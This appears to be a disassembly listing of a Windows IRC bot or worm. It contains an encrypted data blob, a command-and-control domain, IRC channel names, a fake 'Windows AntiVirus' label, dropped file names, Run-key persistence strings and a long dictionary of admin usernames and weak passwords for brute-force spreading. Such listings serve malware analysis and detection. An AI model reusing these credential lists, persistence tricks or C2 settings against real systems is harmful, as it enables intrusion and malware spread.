		dd 412F46C7h, 0FDE9D3EDh, 0C6A5D4FBh, 0ECA7327Dh, 58F6CD0Ah
		dd 0B19021D1h, 0EA1DD896h, 77D55EB9h, 0B62FC51Eh, 0AAE5788Ch
		dd 0D5FABA0Bh, 0E50A891Eh, 0C4064A95h, 957C0CE5h, 0E9A61B2h
		dd 98B59803h, 6BF997B9h, 3E49F33Ch, 3346D715h, 0B8F644Bh
		dd 37B7D7EEh, 35B1C02Eh, 888FF56Dh, 0D08D71F7h,	0A3132543h
		dd 0D7579BFEh, 2E46356Fh, 28249DA5h, 9B392801h,	38A7156Bh
		dd 0E8E148ACh, 4D6C58C9h, 0D23C1798h, 74FB4C20h, 45691B81h
		dd 25D1A8BEh, 82C90D06h, 10753E56h, 0C8ADD52Ch,	95A00059h
		dd 6264C84Ah, 88B0679Ch, 20AB1921h, 865AB3FCh, 26E63D19h
		dd 6A696E21h, 8735AA0Eh, 1D3DC5B6h, 0
		dd 0F1DF2F34h, 0
		dd 0BDE246DDh, 367943h,	5CAA897Eh, 5D5F92E4h, 0F84E4411h
		dd 0F2AAB23h, 0EF490A33h, 656C367Dh, 0D9946C09h, 49E3E08h
		dd 0A89560A3h, 589A8DE0h, 6334FC4Ch, 0CAEB0E66h, 76D491DFh
		dd 0A78313A6h, 0D9BEC0A7h, 0C35B866Fh, 3B1F59FDh, 179AF286h
		dd 644A5EECh, 0
		dd 25870006h, 79EBE9BAh, 7C54D76Eh, 0C1D74669h,	0A21D9AC2h
		dd 0B2A70087h, 6299E01Fh, 41000Ah, 8019A414h, 0B33D94C8h
		dd 0E335h, 3CED9E5Dh, 0A2EAC5E4h, 0E0DEh, 4DB80349h, 15A8FCh
		dd 93D500AFh, 8DDF6572h, 98F5458Ch, 2E0006h, 0DE058312h
		dd 0D0A9029Eh, 0D87132h, 0D2BF0060h, 34C0820Dh,	0EE1BC613h
		dd 0C6F01F9h, 1750000h,	0E4204DB2h, 76B8ED55h, 0A4702793h
		dd 5A406F84h, 0F5D3h, 449C01B9h, 0B3B4A011h, 0B6954590h
		dd 0DEC20D72h, 22ED090Fh, 6900BEh, 7C4BEFh, 44AE4164h
		dd 0E6F74971h, 7C0000h,	0E3A7E93Dh, 1E4A8B6Ch, 4EE446h
		dd 9D5E027Ch, 0DA12ABCEh, 0D2A55DD1h, 13B00ADh,	252E493h
		dd 734B122h, 4953D450h,	0D6C9EE1Eh, 78F384h, 0F61A0169h
		dd 3D500A60h, 0AAA7E0C4h, 76A5h, 0E715003Dh, 0AE1F99F3h
		dd 3CA0EAh, 274A030Eh, 914ABCD8h, 5B0CEE10h, 785A7B9Ch
		dd 0FBF363D0h, 1560000h, 847C633Ah, 0F66F3303h,	10DB0FB5h
		dd 0D1ACB9DBh, 8B28h, 0E4CA0177h, 0A0816AAAh, 5BD6F5B5h
		dd 0A417F04Ch, 4B87h, 9DBC0385h, 5CF14331h, 3FB6464h, 6818EAA6h
		dd 1E5F67EFh, 5A0052h, 44EBD761h, 0E78E9393h, 0CB1DA03Bh
		dd 1D50000h, 884F1D28h,	2FED1743h, 0DADF6DB5h, 3520000h
		dd 0B6B56C0Eh, 0A50DC2E2h, 0BC851E33h, 360A08h,	0D08401CBh
		dd 0A99BCB6Eh, 476BE851h, 0A2F5h, 3F910264h, 0AA6BDF16h
		dd 0DCD0A6h, 97030248h,	8F98EAE8h, 0DE1406E6h, 58FCh, 0A4C90198h
		dd 5588A16Fh, 5535CDBAh, 4B8085E7h, 10C0000h, 5365ED3Ah
		dd 0B7D53F2h, 62AB0F7Bh, 2B85DF5Eh, 16C0000h, 0C8F8D7C6h
		dd 0D011EF12h, 9AF94F57h, 0F9B3h, 22801DFh, 0AFFAD384h
		dd 3A0A98F9h, 1EF1D2h, 1E9200B0h, 0CB856416h, 0E6270DCEh
		dd 2470000h, 0AE722297h, 94C3844Ah, 0E0593454h,	53F97360h
		dd 0B68A2537h, 8F0000h,	0F6E4D0B8h, 0DA1676ABh,	0B533934Ah
		dd 4D3D65A0h, 7CC6F1D2h, 21A0000h, 170B7C60h, 0CDF386C8h
		dd 9C86883Fh, 0F6DD12Ch, 9B781650h, 0C321BA9Bh,	45680927h
		dd 83A1BDB3h, 86A7B428h, 7A00DEh, 593CB1ECh, 6EF6CD75h
		dd 775864B5h, 4C7B6B74h, 0BB647E47h, 3970085h, 0B5A7CC15h
		dd 924461F2h, 490071h, 36949A4Eh, 8134AEBEh, 0ADA4E927h
		dd 2AB0000h, 0E633022h,	200BA9CFh, 4D0000h, 92E52839h
		dd 2861173Dh, 0D9D138h,	0F6C1035Bh, 0F455641Eh,	5DC5817Ah
		dd 2F0B6B1h, 0B5A7E3h, 0E9470351h, 64A7B863h, 0B67C2069h
		dd 0ECE2EEEEh, 0E7Bh, 462F008Ch, 0EBEC9BC3h, 572045A9h
		dd 0CC4B84D9h, 13A00FDh, 0CF43F56h, 0F8F7BE4Eh,	1E7888D6h
		dd 0B77B47D4h, 5F00FBh,	69F08E0h, 0E309F861h, 16F7h, 0E51D01D6h
		dd 0D794C201h, 2A0521FBh, 0B1E05EE2h, 13F0000h,	0BB79FFEh
		dd 0B35059A4h, 0F0338132h, 0E228h, 7AE5015Bh, 0D89A511Fh
		dd 0B389ADFBh, 0C5009Fh, 0CC4C7981h, 88C82E0Fh,	0BC00AFh
		dd 0FE1B2168h, 2CE8466Ah, 0B6A32321h, 7ADA5E19h, 910482AAh
		dd 0BB0000h, 849C440Fh,	0B1381D9Dh, 5DAEC43Fh, 61A8739Ah
		dd 0D2B2B14Eh, 0E65227h, 41F700D3h, 2B226B4Eh, 0A76DAF65h
		dd 558738h, 177300C9h, 0AD1642AFh, 5F75BCD6h, 0F27D9957h
		dd 3100000h, 2093AEF2h,	0B0AE323Ah, 82AF19FEh, 0E2B7h
		dd 0BDD002E3h, 7C398BCAh, 0DF44EB33h, 2228BDB4h, 8E265EFh
		dd 7065B1h, 0B3FE0383h,	415A7F0h, 0E45FE89Ah, 0B805BA9Fh
		dd 0C664CCD9h, 761B9E74h, 0F40000h, 8F85FA0Ch, 8FABF110h
		dd 0E8BFD1AFh, 0EE6B3E55h, 7D95A792h, 17666803h, 16B0000h
		dd 7179B68Ch, 88A655D9h, 0FA494F32h, 2990000h, 7F3888A3h
		dd 0AB81493Eh, 0D7315Fh, 0EEE2CE60h, 2D003E1Dh,	3B423Ch
		dd 0E07E029Ah, 80C1B40Dh, 719791A7h, 58541925h,	9B03E2B6h
		dd 99E085DAh, 0A8690Eh,	0C73700EFh, 228211D1h, 8EBEAB20h
		dd 151002Fh, 3D9ACD2Ah,	487DB82Fh, 0E301CDE1h, 5D4E18C6h
		dd 1F23DDC6h, 0A2A400h,	0B36B020Ch, 98AF530Dh, 1586h, 5FF40206h
		dd 911398E2h, 0EEDCF5h,	414C019Bh, 54135329h, 7D755FE9h
		dd 266EB4Bh, 37E0000h, 87675FBh, 8C64DFF8h, 9E553DFh, 4B8Fh
		dd 0B01302AEh, 0ADE1E9F6h, 65D6D72Ch, 9598901h,	0BB5737h
		dd 0E6101BBh, 0B12A6D7Fh, 0D036B067h, 9678AAh, 0C04B00EAh
		dd 78374CB9h, 0A873499Eh, 606A7E23h, 2000000h, 2D9C6E4Ch
		dd 0B11EAC36h, 0C8C22B56h, 1F90000h, 0AC1E528Dh, 0F8D18D6h
		dd 8D36h, 428E0365h, 2D31F89Dh,	551509E8h, 78EDCB42h, 25E0051h
		dd 96B809A6h, 0A813E8F2h, 485997AEh, 4E0063h, 0D6F66900h
		dd 0CBFE288Dh, 22C9D676h, 61D9A3CEh, 0F1E3h, 0A9530314h
		dd 0CC76A407h, 3E8A92Eh, 15D0076h, 5246F466h, 118968C6h
		dd 0A82EB4h, 688900B2h,	7510DF76h, 0F7440B75h, 141A4B7Ch
		dd 48C646AAh, 14FA4F9Ch, 9CCFB9h, 0D2690389h, 97431B4Ch
		dd 0C4235E0h, 0DD93DDDEh, 0EEC657B7h, 26B00A0h,	71AAE5DDh
		dd 9D150698h, 0DA07569Ah, 0A29FE80Eh, 989F27h, 316D03B6h
		dd 947BA3B3h, 7E6BC4h, 0EA3B0152h, 0C77D6A9Ah, 0D3B7D007h
		dd 8ED492F5h, 0FC5690Dh, 2870000h, 0CF5F811Dh, 5F2C7EC0h
		dd 703100C5h, 1700079h,	8D8D7932h, 0B54C87BDh, 849333E8h
		dd 9EC40100h, 1FA0000h,	77EB7461h, 40B2A642h, 0A6A1030Eh
		dd 0A9E1666Ah, 0C814h, 0C0520210h, 63F2B57Ch, 0F822E5C8h
		dd 2CC0071h, 44A8B03Ch,	0CC609A6Ah, 1D8002Bh, 0CB7430B6h
		dd 87CDAC4Ch, 8812DED4h, 0C4732CBCh, 48A2C23Fh,	0CD6Ah
		dd 6E7201BEh, 0D6A5ABCFh, 0D9DCB2C3h, 0C78325h,	6C1701AFh
		dd 542A90B4h, 97F942BAh, 0C5433123h, 10800DBh, 0BF865DA9h
		dd 34E9B0F9h, 4B970D17h, 9FD339h, 31E701DEh, 6EADE3BBh
		dd 1A91F90h, 1500000h, 1EAC77E7h, 0F76B9F10h, 0BBE92DADh
		dd 951E8859h, 415A258Bh, 931F46h, 0E6CB020Ah, 891CD82Ch
		dd 8A7C1290h, 208007Ah,	8E8867C5h, 0B37F350Eh, 0EA60h
		dd 6320378h, 78D86F5Ah,	0C990D51Ch, 37500EDh, 56FE54A7h
		dd 79D21ADDh, 0FE78E460h, 22C0000h, 0D4F8EF58h,	145E1B44h
		dd 8C064548h, 0FC00B8h,	146D33F7h, 0CDF56B23h, 0F50032h
		dd 2FF2CD54h, 1901h, 0DC85018Bh, 9F8AEC25h, 0BEB4h, 1FBB029Dh
		dd 5533F751h, 77BD0058h, 6D2F1520h, 2120000h, 65A4EFEBh
		dd 959FADBAh, 23A0000h,	0B015ED2Ch, 3787496Eh, 7E5B57h
		dd 23B0000h, 6FD034E8h,	99A314E5h, 9C3ABFC3h, 3620000h
		dd 6BC726AEh, 0B2DD144Bh, 421C8122h, 0CF914B92h, 5D113DF6h
		dd 0F9FC74B0h, 0ED0000h, 0C273F623h, 5D213C8Fh,	1D4AF582h
		dd 0ACA6D463h, 8E1D2E97h, 0E9DC89h, 0DDE700EEh,	0A65E3A1Bh
		dd 0E7E3F65Eh, 0E3E66D86h, 0FA29CF2Ch, 3FB990EAh, 14D00BCh
		dd 0A48B99E9h, 4D9678F4h, 9FBD7F88h, 0C1F04851h, 0D3404E0Ch
		dd 14F003Eh, 0B9774296h, 8A774513h, 0C2EF436Ch,	9A7DFBAh
		dd 764DA5B2h, 0FB20h, 0C6DF0319h, 0D2FE9D9h, 6033CFE2h
		dd 0F70CB2FBh, 1B10000h, 7A275406h, 44C0313h, 0DD182E6Eh
		dd 15E0000h, 0BBABE9Ch,	0BC7540A6h, 559174h, 43FA032Ch
		dd 1709AC7Fh, 5AF20748h, 5A53h,	83500E5h, 2AB66F0Fh, 49ACA593h
		dd 0BD8F4287h, 6983h, 72C601B2h
		dd 0B1528CDh, 933B77A7h, 7250B116h, 1B50000h, 81F0780Fh
		dd 0E054113Dh, 0BF60686Fh, 0BDAFh, 4F6B033Dh, 1691BD15h
		dd 96794B9Ah, 0F307FA47h, 0A4092CE4h, 9DC37DB7h, 63DD0B5Bh
		dd 2290069h, 0A8E9B77Dh, 69BE687Dh, 3C91BD4Fh, 2260000h
		dd 77D873D5h, 305DC6F2h, 73B8778h, 3050000h, 8A72BE3h
		dd 0D8C53142h, 559EB4C5h, 340000h, 42429977h, 890AED8Eh
		dd 0B7686B8Bh, 51A2h, 0F8710035h, 764171D6h, 0A777354Ch
		dd 0CC9AC00Fh, 3080000h, 0EF645614h, 28F62803h,	9DBECA85h
		dd 48287255h, 11D25E84h, 0D8C2Ah, 0E9753298h, 7781192Dh
		dd 6F5C28AEh, 0AFh dup(0)
seg001		ends

; Section 3. (virtual address 0002A000)
; Virtual size			: 000B6000 ( 745472.)
; Section size in file		: 000B6000 ( 745472.)
; Offset to raw	data for section: 0002A000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
seg002		segment	para public 'CODE' use32
		assume cs:seg002
		;org 42A000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
dword_42A000	dd 0			; DATA XREF: sub_41B974+1Fo
		dd offset loc_40121A
		dd offset sub_40D6BA
		dd offset sub_40D739
		dd offset dword_40E8D4+1CEh
		dd offset sub_4269D4
dword_42A018	dd 0			; DATA XREF: sub_41B974+1Ao
dword_42A01C	dd 0			; DATA XREF: sub_41B974+10o
		dd offset sub_41D242
		dd offset sub_42048D
		dd offset sub_42294B
		dd offset sub_4249A2
dword_42A030	dd 0			; DATA XREF: sub_41B974:loc_41B97Fo
dword_42A034	dd 0			; DATA XREF: sub_41B9C3+65o
		dd offset sub_4229F0
dword_42A03C	dd 0			; DATA XREF: sub_41B9C3:loc_41BA23o
dword_42A040	dd 0			; DATA XREF: sub_41B9C3+76o
		dd offset sub_4249B3
dword_42A048	dd 2 dup(0)		; DATA XREF: sub_41B9C3:loc_41BA34o
dword_42A050	dd 78h			; DATA XREF: seg000:0040107Br
dword_42A054	dd 80000002h		; DATA XREF: start+24r
off_42A058	dd offset aSoftwareMicr_0 ; DATA XREF: start+1Er
					; "Software\\Microsoft\\Windows\\CurrentVersi"...
		dd 80000001h, 42A198h, 80000001h, 42A168h
dword_42A06C	dd 6272h, 1B9h,	346h	; DATA XREF: seg000:004010CDo
					; sub_40F3DD+24o
dword_42A078	dd 457h			; DATA XREF: seg000:loc_404653r
dword_42A07C	dd 45h			; DATA XREF: seg000:00403AF3r
					; seg000:0040B964r
dword_42A080	dd 7D1h			; DATA XREF: seg000:loc_403BDDr
					; seg000:loc_40BD11r
dword_42A084	dd 201h			; DATA XREF: seg000:loc_403D52r
word_42A088	dw 7C7h			; DATA XREF: seg000:loc_404775r
		align 4
dword_42A08C	dd 1			; DATA XREF: seg000:0040211Er
		dd 1
dword_42A094	dd 1			; DATA XREF: sub_41853D+Cr
byte_42A098	db 7Ah			; DATA XREF: seg000:00402541r
					; seg000:004025FBr ...
		align 4
dword_42A09C	dd 5			; DATA XREF: sub_40ABA1+39r
					; sub_40ABA1+5Fr ...
dword_42A0A0	dd 4			; DATA XREF: sub_401875+78r
					; seg000:00401DB8r ...
dword_42A0A4	dd 1			; DATA XREF: sub_401875+72r
					; seg000:00401DB2r
aFenr		db 'FEnR',0             ; DATA XREF: seg000:00401293o
					; seg000:loc_404499o ...
		align 10h
aFenr_0		db 'FEnR',0             ; DATA XREF: seg000:loc_40497Ao
		align 4
a19736666386888	db '19736666386888',0   ; DATA XREF: seg000:004097A7o
					; seg000:0040986Ao
		align 4
aF_fenr_net	db 'f.fenr.net',0
		align 4
byte_42A0D4	db 31h			; DATA XREF: sub_4019DB+10r
					; sub_4019DB+23o
a4771477	db '4771477',0
		align 10h
aBo		db '#Bo',0              ; DATA XREF: sub_4124AD:loc_4124C7o
					; sub_4125C4:loc_4125DEo ...
aFuckoff	db 'fuckoff',0
aIbmcvevvpwy_ex	db 'ibmcvevvpwy.exe',0  ; DATA XREF: seg000:00403AE0o
					; seg000:0040B987o ...
aWinnt99_bat	db 'winnt99.bat',0      ; DATA XREF: sub_411D74+3Do
aWindowsAntivir	db 'Windows AntiVirus oo',0 ; DATA XREF: start+Bo
		align 10h
aLove		db 'Love',0             ; DATA XREF: seg000:0040AC1Fo
		align 4
aWinsys99_dat	db 'winsys99.dat',0
		align 4
aXI		db '-x+i',0             ; DATA XREF: seg000:004098EAo
		align 10h
aBo_0		db '#bo-',0             ; DATA XREF: seg000:004037B5o
					; seg000:00404B5Fo ...
		align 4
aBo_1		db '#bo-',0             ; DATA XREF: seg000:00405EB0o
		align 10h
aFa		db '#fa',0              ; DATA XREF: seg000:00405BAFo
					; seg000:00405CFDo
off_42A154	dd offset a@fofo	; DATA XREF: seg000:0040980Ar
					; "*@fofo"
off_42A158	dd offset aMircV6_16Khale ; DATA XREF: seg000:00402372r
					; "mIRC	v6.16 Khaled Mardam-Bey"
		dd offset aMircV6_17Khale ; "mIRC v6.17	Khaled Mardam-Bey"
		dd offset aMircV6_20Khale ; "mIRC v6.20	Khaled Mardam-Bey"
		dd offset aMircV6_21Khale ; "mIRC v6.21	Khaled Mardam-Bey"
aSoftwareMicr_0	db 'Software\Microsoft\Windows\CurrentVersion\Run',0
					; DATA XREF: seg002:off_42A058o
		align 4
aSoftwareMicr_1	db 'Software\Microsoft\Windows\CurrentVersion\Run',0
		align 4
aSoftwareMicros	db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_41A044+28o
					; sub_41A36A+28o
		align 10h
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_41A044+D4o
					; sub_41A36A+D4o
		align 4
		dd offset aAdministrato_0 ; "administrator"
		dd offset aAdministrador ; "administrador"
		dd offset aAdministrateur ; "administrateur"
		dd offset aAdministrat	; "administrat"
		dd offset aAdmins	; "admins"
		dd offset aAdmin	; "admin"
		dd offset aStaff	; "staff"
		dd offset aRoot		; "root"
		dd offset aComputer	; "computer"
		dd offset aOwner	; "owner"
		dd offset aStudent	; "student"
		dd offset aTeacher	; "teacher"
		dd offset aWwwadmin	; "wwwadmin"
		dd offset aGuest_0	; "guest"
		dd offset aDefault	; "default"
		dd offset aDatabase	; "database"
		dd offset aDba		; "dba"
		dd offset aOracle	; "oracle"
		dd offset aDb2		; "db2"
		align 8
		dd offset dword_43FDB4
		dd offset aAdministrato_0 ; "administrator"
		dd offset aAdministrador ; "administrador"
		dd offset aAdministrateur ; "administrateur"
		dd offset aAdministrat	; "administrat"
		dd offset aAdmins	; "admins"
		dd offset aAdmin	; "admin"
		dd offset aAdm		; "adm"
		dd offset aPassword1	; "password1"
		dd offset aPassword	; "password"
		dd offset aPasswd	; "passwd"
		dd offset aPass1234	; "pass1234"
		dd offset aPass_0	; "pass"
		dd offset aPwd		; "pwd"
		dd offset a007		; "007"
		dd offset a1		; "1"
		dd offset a12		; "12"
		dd offset a123		; "123"
		dd offset a1234		; "1234"
		dd offset a12345	; "12345"
		dd offset a123456	; "123456"
		dd offset a1234567	; "1234567"
		dd offset a12345678	; "12345678"
		dd offset a123456789	; "123456789"
		dd offset a1234567890	; "1234567890"
		dd offset a2000		; "2000"
		dd offset a2001		; "2001"
		dd offset a2002		; "2002"
		dd offset a2003		; "2003"
		dd offset a2004		; "2004"
		dd offset aTest		; "test"
		dd offset aGuest_0	; "guest"
		dd offset aNone		; "none"
		dd offset aDemo		; "demo"
		dd offset aUnix		; "unix"
		dd offset aLinux	; "linux"
		dd offset aChangeme	; "changeme"
		dd offset aDefault	; "default"
		dd offset aSystem	; "system"
		dd offset aServer_0	; "server"
		dd offset aRoot		; "root"
		dd offset aNull_1	; "null"
		dd offset aQwerty	; "qwerty"
		dd offset aMail		; "mail"
		dd offset aOutlook	; "outlook"
		dd offset aWeb		; "web"
		dd offset aWww		; "www"
		dd offset aInternet	; "internet"
		dd offset aAccounts	; "accounts"
		dd offset aAccounting	; "accounting"
		dd offset aHome		; "home"
		dd offset aHomeuser	; "homeuser"
		dd offset aUser		; "user"
		dd offset aOem		; "oem"
		dd offset aOemuser	; "oemuser"
		dd offset aOeminstall	; "oeminstall"
		dd offset aWindows	; "windows"
		dd offset aWin98	; "win98"
		dd offset aWin2k	; "win2k"
		dd offset aWinxp	; "winxp"
		dd offset aWinnt	; "winnt"
		dd offset aWin2000	; "win2000"
		dd offset aQaz		; "qaz"
		dd offset aAsd		; "asd"
		dd offset aZxc		; "zxc"
		dd offset aQwe		; "qwe"
		dd offset aBob		; "bob"
		dd offset aJen		; "jen"
		dd offset aJoe		; "joe"
		dd offset aFred		; "fred"
		dd offset aBill		; "bill"
		dd offset aMike		; "mike"
		dd offset aJohn		; "john"
		dd offset aPeter	; "peter"
		dd offset aLuke		; "luke"
		dd offset aSam		; "sam"
		dd offset aSue		; "sue"
		dd offset aSusan	; "susan"
		dd offset aPeter	; "peter"
		dd offset aBrian	; "brian"
		dd offset aLee		; "lee"
		dd offset aNeil		; "neil"
		dd offset aIan		; "ian"
		dd offset aChris	; "chris"
		dd offset aEric		; "eric"
		dd offset aGeorge	; "george"
		dd offset aKate		; "kate"
		dd offset aBob		; "bob"
		dd offset aKatie	; "katie"
		dd offset aMary		; "mary"
		dd offset aLogin	; "login"
		dd offset aLoginpass	; "loginpass"
		dd offset aTechnical	; "technical"
		dd offset aBackup	; "backup"
		dd offset aExchange	; "exchange"
		dd offset aFuck		; "fuck"
		dd offset aBitch	; "bitch"
		dd offset aSlut		; "slut"
		dd offset aSex		; "sex"
		dd offset aGod		; "god"
		dd offset aHell		; "hell"
		dd offset aHello	; "hello"
		dd offset aDomain	; "domain"
		dd offset aDomainpass	; "domainpass"
		dd offset aDomainpassword ; "domainpassword"
		dd offset aDatabase	; "database"
		dd offset aAccess	; "access"
		dd offset aDbpass	; "dbpass"
		dd offset aDbpassword	; "dbpassword"
		dd offset aDatabasepass	; "databasepass"
		dd offset aData		; "data"
		dd offset aDatabasepasswo ; "databasepassword"
		dd offset aDb1		; "db1"
		dd offset aDb2		; "db2"
		dd offset aDb1234	; "db1234"
		dd offset aSa		; "sa"
		dd offset aSql		; "sql"
		dd offset aSqlpassoainsta ; "sqlpassoainstall"
		dd offset aOrainstall	; "orainstall"
		dd offset aOracle	; "oracle"
		dd offset aIbm		; "ibm"
		dd offset aCisco	; "cisco"
		dd offset aDell		; "dell"
		dd offset aCompaq	; "compaq"
		dd offset aSiemens	; "siemens"
		dd offset aHp		; "hp"
		dd offset aNokia	; "nokia"
		dd offset aXp		; "xp"
		dd offset aControl	; "control"
		dd offset aOffice	; "office"
		dd offset aBlank	; "blank"
		dd offset aWinpass	; "winpass"
		dd offset aMain		; "main"
		dd offset aLan		; "lan"
		dd offset aInternet	; "internet"
		dd offset aIntranet	; "intranet"
		dd offset aStudent	; "student"
		dd offset aTeacher	; "teacher"
		dd offset aStaff	; "staff"
		align 8
dword_42A488	dd 10h			; DATA XREF: seg000:004025ABr
					; seg000:004025D7r ...
aIntranet	db 'intranet',0         ; DATA XREF: seg002:0042A474o
		align 4
aLan		db 'lan',0              ; DATA XREF: seg002:0042A46Co
aMain		db 'main',0             ; DATA XREF: seg002:0042A468o
		align 4
aWinpass	db 'winpass',0          ; DATA XREF: seg002:0042A464o
aBlank		db 'blank',0            ; DATA XREF: seg002:0042A460o
		align 4
aOffice		db 'office',0           ; DATA XREF: seg002:0042A45Co
		align 4
aControl	db 'control',0          ; DATA XREF: seg002:0042A458o
aXp		db 'xp',0               ; DATA XREF: seg002:0042A454o
		align 4
aNokia		db 'nokia',0            ; DATA XREF: seg002:0042A450o
		align 10h
aHp		db 'hp',0               ; DATA XREF: seg002:0042A44Co
		align 4
aSiemens	db 'siemens',0          ; DATA XREF: seg002:0042A448o
aCompaq		db 'compaq',0           ; DATA XREF: seg002:0042A444o
		align 4
aDell		db 'dell',0             ; DATA XREF: seg002:0042A440o
		align 4
aCisco		db 'cisco',0            ; DATA XREF: seg002:0042A43Co
		align 4
aIbm		db 'ibm',0              ; DATA XREF: seg002:0042A438o
aOrainstall	db 'orainstall',0       ; DATA XREF: seg002:0042A430o
		align 4
aSqlpassoainsta	db 'sqlpassoainstall',0 ; DATA XREF: seg002:0042A42Co
		align 4
aSql		db 'sql',0              ; DATA XREF: seg002:0042A428o
aSa		db 'sa',0               ; DATA XREF: seg002:0042A424o
		align 10h
aDb1234		db 'db1234',0           ; DATA XREF: seg002:0042A420o
		align 4
aDb1		db 'db1',0              ; DATA XREF: seg002:0042A418o
aDatabasepasswo	db 'databasepassword',0 ; DATA XREF: seg002:0042A414o
		align 10h
aData		db 'data',0             ; DATA XREF: seg002:0042A410o
		align 4
aDatabasepass	db 'databasepass',0     ; DATA XREF: seg002:0042A40Co
		align 4
aDbpassword	db 'dbpassword',0       ; DATA XREF: seg002:0042A408o
		align 4
aDbpass		db 'dbpass',0           ; DATA XREF: seg002:0042A404o
		align 4
aAccess		db 'access',0           ; DATA XREF: seg002:0042A400o
		align 4
aDomainpassword	db 'domainpassword',0   ; DATA XREF: seg002:0042A3F8o
		align 4
aDomainpass	db 'domainpass',0       ; DATA XREF: seg002:0042A3F4o
		align 10h
aDomain		db 'domain',0           ; DATA XREF: seg002:0042A3F0o
		align 4
aHello		db 'hello',0            ; DATA XREF: seg002:0042A3ECo
		align 10h
aHell		db 'hell',0             ; DATA XREF: seg002:0042A3E8o
		align 4
aGod		db 'god',0              ; DATA XREF: seg002:0042A3E4o
aSex		db 'sex',0              ; DATA XREF: seg002:0042A3E0o
					; seg002:off_43AB60o
aSlut		db 'slut',0             ; DATA XREF: seg002:0042A3DCo
		align 4
aBitch		db 'bitch',0            ; DATA XREF: seg002:0042A3D8o
		align 10h
aFuck		db 'fuck',0             ; DATA XREF: seg002:0042A3D4o
		align 4
aExchange	db 'exchange',0         ; DATA XREF: seg002:0042A3D0o
		align 4
aBackup		db 'backup',0           ; DATA XREF: seg002:0042A3CCo
		align 4
aTechnical	db 'technical',0        ; DATA XREF: seg002:0042A3C8o
		align 4
aLoginpass	db 'loginpass',0        ; DATA XREF: seg002:0042A3C4o
		align 4
aLogin		db 'login',0            ; DATA XREF: seg002:0042A3C0o
		align 4
aMary		db 'mary',0             ; DATA XREF: seg002:0042A3BCo
		align 4
aKatie		db 'katie',0            ; DATA XREF: seg002:0042A3B8o
		align 4
aKate		db 'kate',0             ; DATA XREF: seg002:0042A3B0o
		align 4
aGeorge		db 'george',0           ; DATA XREF: seg002:0042A3ACo
		align 4
aEric		db 'eric',0             ; DATA XREF: seg002:0042A3A8o
		align 4
aChris		db 'chris',0            ; DATA XREF: seg002:0042A3A4o
		align 4
aIan		db 'ian',0              ; DATA XREF: seg002:0042A3A0o
aNeil		db 'neil',0             ; DATA XREF: seg002:0042A39Co
		align 4
aLee		db 'lee',0              ; DATA XREF: seg002:0042A398o
aBrian		db 'brian',0            ; DATA XREF: seg002:0042A394o
		align 4
aSusan		db 'susan',0            ; DATA XREF: seg002:0042A38Co
		align 4
aSue		db 'sue',0              ; DATA XREF: seg002:0042A388o
aSam		db 'sam',0              ; DATA XREF: seg002:0042A384o
aLuke		db 'luke',0             ; DATA XREF: seg002:0042A380o
		align 4
aPeter		db 'peter',0            ; DATA XREF: seg002:0042A37Co
					; seg002:0042A390o
		align 4
aJohn		db 'john',0             ; DATA XREF: seg002:0042A378o
		align 4
aMike		db 'mike',0             ; DATA XREF: seg002:0042A374o
		align 4
aBill		db 'bill',0             ; DATA XREF: seg002:0042A370o
		align 4
aFred		db 'fred',0             ; DATA XREF: seg002:0042A36Co
		align 4
aJoe		db 'joe',0              ; DATA XREF: seg002:0042A368o
aJen		db 'jen',0              ; DATA XREF: seg002:0042A364o
aBob		db 'bob',0              ; DATA XREF: seg002:0042A360o
					; seg002:0042A3B4o
aQwe		db 'qwe',0              ; DATA XREF: seg002:0042A35Co
aZxc		db 'zxc',0              ; DATA XREF: seg002:0042A358o
aAsd		db 'asd',0              ; DATA XREF: seg002:0042A354o
aQaz		db 'qaz',0              ; DATA XREF: seg002:0042A350o
aWin2000	db 'win2000',0          ; DATA XREF: seg002:0042A34Co
aWinnt		db 'winnt',0            ; DATA XREF: seg002:0042A348o
		align 10h
aWinxp		db 'winxp',0            ; DATA XREF: seg002:0042A344o
		align 4
aWin2k		db 'win2k',0            ; DATA XREF: seg002:0042A340o
		align 10h
aWin98		db 'win98',0            ; DATA XREF: seg002:0042A33Co
		align 4
aWindows	db 'windows',0          ; DATA XREF: seg002:0042A338o
aOeminstall	db 'oeminstall',0       ; DATA XREF: seg002:0042A334o
		align 4
aOemuser	db 'oemuser',0          ; DATA XREF: seg002:0042A330o
aOem		db 'oem',0              ; DATA XREF: seg002:0042A32Co
aUser		db 'user',0             ; DATA XREF: seg000:00406120o
					; seg002:0042A328o
		align 10h
aHomeuser	db 'homeuser',0         ; DATA XREF: seg002:0042A324o
		align 4
aHome		db 'home',0             ; DATA XREF: seg002:0042A320o
		align 4
aAccounting	db 'accounting',0       ; DATA XREF: seg002:0042A31Co
		align 10h
aAccounts	db 'accounts',0         ; DATA XREF: seg002:0042A318o
		align 4
aInternet	db 'internet',0         ; DATA XREF: seg002:0042A314o
					; seg002:0042A470o
		align 4
aWww		db 'www',0              ; DATA XREF: seg002:0042A310o
aWeb		db 'web',0              ; DATA XREF: seg002:0042A30Co
aOutlook	db 'outlook',0          ; DATA XREF: seg002:0042A308o
aMail		db 'mail',0             ; DATA XREF: seg002:0042A304o
		align 10h
aQwerty		db 'qwerty',0           ; DATA XREF: seg002:0042A300o
		align 4
aNull_1		db 'null',0             ; DATA XREF: seg002:0042A2FCo
		align 10h
aServer_0	db 'server',0           ; DATA XREF: seg002:0042A2F4o
		align 4
aSystem		db 'system',0           ; DATA XREF: seg002:0042A2F0o
		align 10h
aChangeme	db 'changeme',0         ; DATA XREF: seg002:0042A2E8o
		align 4
aLinux		db 'linux',0            ; DATA XREF: seg002:0042A2E4o
		align 4
aUnix		db 'unix',0             ; DATA XREF: seg002:0042A2E0o
		align 4
aDemo		db 'demo',0             ; DATA XREF: seg002:0042A2DCo
		align 4
aNone		db 'none',0             ; DATA XREF: seg002:0042A2D8o
		align 4
aTest		db 'test',0             ; DATA XREF: seg002:0042A2D0o
		align 4
a2004		db '2004',0             ; DATA XREF: seg002:0042A2CCo
		align 4
a2003		db '2003',0             ; DATA XREF: sub_41AC18+BAo
					; seg002:0042A2C8o
		align 4
a2002		db '2002',0             ; DATA XREF: seg002:0042A2C4o
		align 4
a2001		db '2001',0             ; DATA XREF: seg002:0042A2C0o
		align 4
